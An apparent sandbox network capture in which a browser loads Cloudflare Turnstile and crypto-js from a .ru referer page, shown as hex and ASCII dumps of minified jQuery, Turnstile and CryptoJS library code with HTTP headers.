2024-12-20 23:35:50 UTC	16384	IN	Data Raw: 22 6d 73 2d 22 29 2e 72 65 70 6c 61 63 65 28 7a 2c 55 29 7d 76 61 72 20 56 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 31 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 39 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 21 2b 65 2e 6e 6f 64 65 54 79 70 65 7d 3b 66 75 6e 63 74 69 6f 6e 20 47 28 29 7b 74 68 69 73 2e 65 78 70 61 6e 64 6f 3d 53 2e 65 78 70 61 6e 64 6f 2b 47 2e 75 69 64 2b 2b 7d 47 2e 75 69 64 3d 31 2c 47 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 63 61 63 68 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3b 72 65 74 75 72 6e 20 74 7c 7c 28 74 3d 7b 7d 2c 56 28 65 29 26 26 28 65 2e 6e 6f 64 65 54 79 70 65 3f 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3d 74 3a 4f 62 6a 65 63 74 2e Data Ascii: "ms-").replace(z,U)}var V=function(e){return 1===e.nodeType\|\|9===e.nodeType\|\|!+e.nodeType};function G(){this.expando=S.expando+G.uid++}G.uid=1,G.prototype={cache:function(e){var t=e[this.expando];return t\|\|(t={},V(e)&&(e.nodeType?e[this.expando]=t:Object.
2024-12-20 23:35:50 UTC	16384	IN	Data Raw: 72 5d 29 3b 65 6c 73 65 20 4c 65 28 65 2c 63 29 3b 72 65 74 75 72 6e 20 30 3c 28 61 3d 76 65 28 63 2c 22 73 63 72 69 70 74 22 29 29 2e 6c 65 6e 67 74 68 26 26 79 65 28 61 2c 21 66 26 26 76 65 28 65 2c 22 73 63 72 69 70 74 22 29 29 2c 63 7d 2c 63 6c 65 61 6e 44 61 74 61 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6e 2c 72 2c 69 3d 53 2e 65 76 65 6e 74 2e 73 70 65 63 69 61 6c 2c 6f 3d 30 3b 76 6f 69 64 20 30 21 3d 3d 28 6e 3d 65 5b 6f 5d 29 3b 6f 2b 2b 29 69 66 28 56 28 6e 29 29 7b 69 66 28 74 3d 6e 5b 59 2e 65 78 70 61 6e 64 6f 5d 29 7b 69 66 28 74 2e 65 76 65 6e 74 73 29 66 6f 72 28 72 20 69 6e 20 74 2e 65 76 65 6e 74 73 29 69 5b 72 5d 3f 53 2e 65 76 65 6e 74 2e 72 65 6d 6f 76 65 28 6e 2c 72 29 3a 53 2e 72 65 6d 6f 76 65 45 76 65 Data Ascii: r]);else Le(e,c);return 0<(a=ve(c,"script")).length&&ye(a,!f&&ve(e,"script")),c},cleanData:function(e){for(var t,n,r,i=S.event.special,o=0;void 0!==(n=e[o]);o++)if(V(n)){if(t=n[Y.expando]){if(t.events)for(r in t.events)i[r]?S.event.remove(n,r):S.removeEve
2024-12-20 23:35:50 UTC	16384	IN	Data Raw: 53 2e 65 78 74 65 6e 64 28 7b 61 74 74 72 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 2c 69 2c 6f 3d 65 2e 6e 6f 64 65 54 79 70 65 3b 69 66 28 33 21 3d 3d 6f 26 26 38 21 3d 3d 6f 26 26 32 21 3d 3d 6f 29 72 65 74 75 72 6e 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 3f 53 2e 70 72 6f 70 28 65 2c 74 2c 6e 29 3a 28 31 3d 3d 3d 6f 26 26 53 2e 69 73 58 4d 4c 44 6f 63 28 65 29 7c 7c 28 69 3d 53 2e 61 74 74 72 48 6f 6f 6b 73 5b 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5d 7c 7c 28 53 2e 65 78 70 72 2e 6d 61 74 63 68 2e 62 6f 6f 6c 2e 74 65 73 74 28 74 29 3f 63 74 3a 76 6f 69 64 20 30 29 29 2c 76 6f 69 64 20 30 21 3d 3d 6e 3f 6e 75 6c 6c 3d 3d 3d 6e 3f 76 6f 69 64 20 53 2e 72 65 6d Data Ascii: S.extend({attr:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return"undefined"==typeof e.getAttribute?S.prop(e,t,n):(1===o&&S.isXMLDoc(e)\|\|(i=S.attrHooks[t.toLowerCase()]\|\|(S.expr.match.bool.test(t)?ct:void 0)),void 0!==n?null===n?void S.rem
2024-12-20 23:35:50 UTC	7581	IN	Data Raw: 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 69 2e 78 68 72 28 29 3b 69 66 28 72 2e 6f 70 65 6e 28 69 2e 74 79 70 65 2c 69 2e 75 72 6c 2c 69 2e 61 73 79 6e 63 2c 69 2e 75 73 65 72 6e 61 6d 65 2c 69 2e 70 61 73 73 77 6f 72 64 29 2c 69 2e 78 68 72 46 69 65 6c 64 73 29 66 6f 72 28 6e 20 69 6e 20 69 2e 78 68 72 46 69 65 6c 64 73 29 72 5b 6e 5d 3d 69 2e 78 68 72 46 69 65 6c 64 73 5b 6e 5d 3b 66 6f 72 28 6e 20 69 6e 20 69 2e 6d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 28 69 2e 6d 69 6d 65 54 79 70 65 29 2c 69 2e 63 72 6f 73 73 44 6f 6d 61 69 6e 7c 7c 65 5b 22 58 2d 52 65 71 75 65 73 74 65 64 2d 57 69 74 68 22 5d 7c 7c 28 65 5b 22 58 2d 52 Data Ascii: :function(e,t){var n,r=i.xhr();if(r.open(i.type,i.url,i.async,i.username,i.password),i.xhrFields)for(n in i.xhrFields)r[n]=i.xhrFields[n];for(n in i.mimeType&&r.overrideMimeType&&r.overrideMimeType(i.mimeType),i.crossDomain\|\|e["X-Requested-With"]\|\|(e["X-R

Timestamp	Bytes transferred	Direction	Data
2024-12-20 23:35:50 UTC	650	OUT	GET /turnstile/v0/b/787bc399e22f/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://gadk.quantumdhub.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-20 23:35:51 UTC	471	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 23:35:51 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 47692 Connection: close accept-ranges: bytes last-modified: Tue, 10 Dec 2024 17:31:41 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 8f53738118938c89-EWR alt-svc: h3=":443"; ma=86400
2024-12-20 23:35:51 UTC	898	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 48 74 28 65 2c 72 2c 6e 2c 6f 2c 63 2c 75 2c 67 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 75 5d 28 67 29 2c 6c 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 70 29 7b 6e 28 70 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 72 28 6c 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 6c 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 42 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 6e 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 75 3d 65 2e 61 70 70 6c 79 28 72 2c 6e 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Ht(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Bt(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);funct
2024-12-20 23:35:51 UTC	1369	IN	Data Raw: 20 65 7d 66 75 6e 63 74 69 6f 6e 20 53 72 28 65 2c 72 29 7b 76 61 72 20 6e 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 72 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 6e 2e 70 75 73 68 2e 61 70 70 6c 79 28 6e 2c 6f 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 6e 74 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 72 3d 72 21 3d 6e 75 Data Ascii: e}function Sr(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);r&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),n.push.apply(n,o)}return n}function nt(e,r){return r=r!=nu
2024-12-20 23:35:51 UTC	1369	IN	Data Raw: 72 61 79 24 2f 2e 74 65 73 74 28 6e 29 29 72 65 74 75 72 6e 20 61 74 28 65 2c 72 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 41 65 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 6a 74 28 65 29 7c 7c 71 74 28 65 2c 72 29 7c 7c 47 74 28 65 2c 72 29 7c 7c 7a 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 55 65 28 65 2c 72 29 7b 76 61 72 20 6e 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 75 5b 30 Data Ascii: ray$/.test(n))return at(e,r)}}function Ae(e,r){return jt(e)\|\|qt(e,r)\|\|Gt(e,r)\|\|zt()}function F(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Ue(e,r){var n={label:0,sent:function(){if(u[0
2024-12-20 23:35:51 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 22 54 75 72 6e 73 74 69 6c 65 27 73 20 61 70 69 2e 6a 73 20 77 61 73 20 6c 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 59 74 3d 33 30 30 30 32 30 3b 76 61 72 20 44 65 3d 33 30 30 30 33 30 3b 76 61 72 20 56 65 3d 33 30 30 30 33 31 3b 76 61 72 20 6a 3b 28 66 75 Data Ascii: tion:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Yt=300020;var De=300030;var Ve=300031;var j;(fu
2024-12-20 23:35:51 UTC	1369	IN	Data Raw: 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 4a 7c 7c 28 4a 3d 7b 7d 29 29 3b 76 61 72 20 69 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4e 45 56 45 52 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 69 65 7c 7c 28 69 65 3d 7b 7d 29 29 3b 76 61 72 20 58 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 4c 57 41 59 53 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 58 45 43 55 54 45 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 4e 54 45 52 41 43 54 49 4f 4e 5f 4f 4e 4c 59 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 58 7c 7c 28 58 3d 7b 7d 29 29 3b 76 61 72 20 70 65 3b 28 66 75 Data Ascii: ="never",e.MANUAL="manual",e.AUTO="auto"})(J\|\|(J={}));var ie;(function(e){e.NEVER="never",e.MANUAL="manual",e.AUTO="auto"})(ie\|\|(ie={}));var X;(function(e){e.ALWAYS="always",e.EXECUTE="execute",e.INTERACTION_ONLY="interaction-only"})(X\|\|(X={}));var pe;(fu
2024-12-20 23:35:51 UTC	1369	IN	Data Raw: 65 3d 3d 3d 22 61 75 74 6f 22 7c 7c 4e 72 2e 74 65 73 74 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 67 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 22 61 6c 77 61 79 73 22 2c 22 65 78 65 63 75 74 65 22 2c 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 51 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 22 74 72 75 65 22 2c 22 66 61 6c 73 65 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 79 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 22 72 65 6e 64 65 72 22 2c 22 65 78 65 63 75 74 65 22 5d 2c 65 29 7d 76 61 72 20 24 74 3d 33 30 30 2c 4a 74 3d 31 30 3b 66 75 6e 63 74 69 6f 6e 20 68 74 28 65 29 7b 76 61 72 20 72 3d 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 3b 69 66 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 Data Ascii: e==="auto"\|\|Nr.test(e)}function gt(e){return M(["always","execute","interaction-only"],e)}function Qt(e){return M(["true","false"],e)}function yt(e){return M(["render","execute"],e)}var $t=300,Jt=10;function ht(e){var r=new URLSearchParams;if(e.params._de
2024-12-20 23:35:51 UTC	1369	IN	Data Raw: 2f 72 63 76 22 29 2e 63 6f 6e 63 61 74 28 6f 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 72 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 6e 2e 74 68 65 6d 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 45 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 6e 2e 73 69 7a 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 6e 2e 6c 61 6e 67 75 61 67 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 70 29 7d 76 61 72 20 52 74 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 72 2c 6e 2c 6f 3d 77 69 6e 64 6f 77 2e 69 6e 6e 65 72 57 69 64 74 68 3c 34 30 30 2c 63 3d 65 2e 73 74 61 74 65 3d 3d 3d 53 65 2e 46 41 49 4c 55 52 45 5f 46 45 45 44 42 41 43 4b 7c 7c 65 2e 73 74 61 74 65 3d 3d 3d 53 65 2e 46 41 49 4c 55 52 45 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 Data Ascii: /rcv").concat(o,"/").concat(e,"/").concat(r,"/").concat(n.theme,"/").concat(E,"/").concat(n.size,"/").concat(n.language,"/").concat(p)}var Rt=function(e){var r,n,o=window.innerWidth<400,c=e.state===Se.FAILURE_FEEDBACK\|\|e.state===Se.FAILURE_HAVING_TROUBLES
2024-12-20 23:35:51 UTC	1369	IN	Data Raw: 7c 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 2e 73 68 61 6d 29 72 65 74 75 72 6e 21 31 3b 69 66 28 74 79 70 65 6f 66 20 50 72 6f 78 79 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 30 3b 74 72 79 7b 72 65 74 75 72 6e 20 42 6f 6f 6c 65 61 6e 2e 70 72 6f 74 6f 74 79 70 65 2e 76 61 6c 75 65 4f 66 2e 63 61 6c 6c 28 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 28 42 6f 6f 6c 65 61 6e 2c 5b 5d 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 29 29 2c 21 30 7d 63 61 74 63 68 28 65 29 7b 72 65 74 75 72 6e 21 31 7d 7d 66 75 6e 63 74 69 6f 6e 20 49 65 28 65 2c 72 2c 6e 29 7b 72 65 74 75 72 6e 20 6a 65 28 29 3f 49 65 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 3a 49 65 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 75 2c 67 29 7b 76 61 72 20 68 3d Data Ascii: \|Reflect.construct.sham)return!1;if(typeof Proxy=="function")return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],function(){})),!0}catch(e){return!1}}function Ie(e,r,n){return je()?Ie=Reflect.construct:Ie=function(c,u,g){var h=
2024-12-20 23:35:51 UTC	1369	IN	Data Raw: 29 3b 76 61 72 20 75 3b 72 65 74 75 72 6e 20 75 3d 72 2e 63 61 6c 6c 28 74 68 69 73 2c 6f 29 2c 4d 65 28 42 65 28 75 29 2c 22 63 6f 64 65 22 2c 76 6f 69 64 20 30 29 2c 75 2e 6e 61 6d 65 3d 22 54 75 72 6e 73 74 69 6c 65 45 72 72 6f 72 22 2c 75 2e 63 6f 64 65 3d 63 2c 75 7d 72 65 74 75 72 6e 20 6e 7d 28 71 65 28 45 72 72 6f 72 29 29 3b 66 75 6e 63 74 69 6f 6e 20 6d 28 65 2c 72 29 7b 76 61 72 20 6e 3d 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 2c 22 2e 22 29 3b 74 68 72 6f 77 20 6e 65 77 20 64 72 28 6e 2c 72 29 7d 66 75 6e 63 74 69 6f 6e 20 62 28 65 29 7b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 29 29 Data Ascii: );var u;return u=r.call(this,o),Me(Be(u),"code",void 0),u.name="TurnstileError",u.code=c,u}return n}(qe(Error));function m(e,r){var n="[Cloudflare Turnstile] ".concat(e,".");throw new dr(n,r)}function b(e){console.warn("[Cloudflare Turnstile] ".concat(e))
2024-12-20 23:35:51 UTC	1369	IN	Data Raw: 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 6c 2e 73 74 79 6c 65 2e 70 6f 73 69 74 69 6f 6e 3d 22 66 69 78 65 64 22 2c 6c 2e 73 74 79 6c 65 2e 7a 49 6e 64 65 78 3d 22 32 31 34 37 34 38 33 36 34 36 22 2c 6c 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 31 30 30 76 77 22 2c 6c 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 22 31 30 30 76 68 22 2c 6c 2e 73 74 79 6c 65 2e 74 6f 70 3d 22 30 22 2c 6c 2e 73 74 79 6c 65 2e 6c 65 66 74 3d 22 30 22 2c 6c 2e 73 74 79 6c 65 2e 74 72 61 6e 73 66 6f 72 6d 4f 72 69 67 69 6e 3d 22 63 65 6e 74 65 72 20 63 65 6e 74 65 72 22 2c 6c 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 58 3d 22 68 69 64 64 65 6e 22 2c 6c 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 59 3d 22 61 75 74 6f 22 2c 6c 2e 73 74 79 6c 65 Data Ascii: ent.createElement("div");l.style.position="fixed",l.style.zIndex="2147483646",l.style.width="100vw",l.style.height="100vh",l.style.top="0",l.style.left="0",l.style.transformOrigin="center center",l.style.overflowX="hidden",l.style.overflowY="auto",l.style

Timestamp	Bytes transferred	Direction	Data
2024-12-20 23:35:51 UTC	386	OUT	GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-20 23:35:52 UTC	962	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 23:35:51 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"61182885-40eb" Last-Modified: Sat, 14 Aug 2021 20:33:09 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 193606 Expires: Wed, 10 Dec 2025 23:35:51 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1Do%2FCkrkdNbBjm8J9CmpbMrXshlTcsN2BXM3eJa5GCgbiPOQ7YMy9XcKIAQj%2F%2B8dsS86JQByk5W6%2BzCZwsItD5zcLlG1l4R%2BsdsK3kmV1cRqPWu1HTE6pmVgYpXh9vCSlWKEE0Mx"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8f5373850bb3425f-EWR alt-svc: h3=":443"; ma=86400
2024-12-20 23:35:52 UTC	407	IN	Data Raw: 37 62 65 37 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 2c 6f 2c 73 2c 61 2c 68 2c 74 2c 65 2c 6c 2c 72 2c 69 2c 63 2c 66 2c 64 2c 75 2c 70 2c 53 2c 78 2c 62 2c 41 2c 48 2c 7a 2c 5f 2c 76 2c 67 2c 79 2c 42 2c 77 2c 6b 2c 6d 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 3d 55 7c 7c 66 75 6e 63 74 69 6f 6e 28 68 29 7b Data Ascii: 7be7!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){
2024-12-20 23:35:52 UTC	1369	IN	Data Raw: 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3f 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 69 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 76 61 72 20 72 3d 4f 62 6a 65 63 74 2e Data Ascii: peof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.
2024-12-20 23:35:52 UTC	1369	IN	Data Raw: 6e 65 2e 63 61 6c 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 77 6f 72 64 73 3d 74 68 69 73 2e 77 6f 72 64 73 2e 73 6c 69 63 65 28 30 29 2c 74 7d 2c 72 61 6e 64 6f 6d 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 5b 5d 2c 72 3d 30 3b 72 3c 74 3b 72 2b 3d 34 29 65 2e 70 75 73 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 69 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 29 74 72 79 7b 72 65 74 75 72 6e 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 28 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 31 29 29 5b 30 5d 7d 63 61 74 63 68 28 74 29 7b 7d 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 72 61 6e 64 6f 6d 42 79 Data Ascii: ne.call(this);return t.words=this.words.slice(0),t},random:function(t){for(var e=[],r=0;r<t;r+=4)e.push(function(){if(i){if("function"==typeof i.getRandomValues)try{return i.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof i.randomBy
